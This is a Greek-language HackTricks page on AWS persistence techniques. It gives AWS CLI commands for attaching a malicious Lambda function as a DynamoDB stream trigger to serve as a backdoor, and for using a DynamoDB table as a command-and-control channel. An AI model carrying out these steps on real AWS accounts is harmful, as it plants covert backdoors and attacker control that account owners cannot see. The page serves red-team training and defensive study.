AWS - DynamoDB Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DynamoDB

Για περισσότερες πληροφορίες, δείτε:

AWS - DynamoDB Enum

DynamoDB Triggers with Lambda Backdoor

Χρησιμοποιώντας τα DynamoDB triggers, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα stealthy backdoor συνδέοντας μια κακόβουλη Lambda function με έναν πίνακα. Η Lambda function μπορεί να ενεργοποιηθεί όταν ένα αντικείμενο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του AWS account.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Για να διατηρήσει persistence, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει items στον πίνακα DynamoDB, κάτι που θα ενεργοποιήσει την κακόβουλη Lambda function. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει code εντός του AWS account χωρίς άμεση αλληλεπίδραση με τη Lambda function.

DynamoDB ως C2 Channel

Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως command and control (C2) channel δημιουργώντας items που περιέχουν commands και χρησιμοποιώντας compromised instances ή Lambda functions για να ανακτήσουν και να εκτελέσουν αυτά τα commands.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Οι compromised instances ή Lambda functions μπορούν περιοδικά να ελέγχουν τον C2 table για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον C2 table. Αυτό επιτρέπει στον attacker να διατηρεί persistence και έλεγχο επί των compromised resources.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks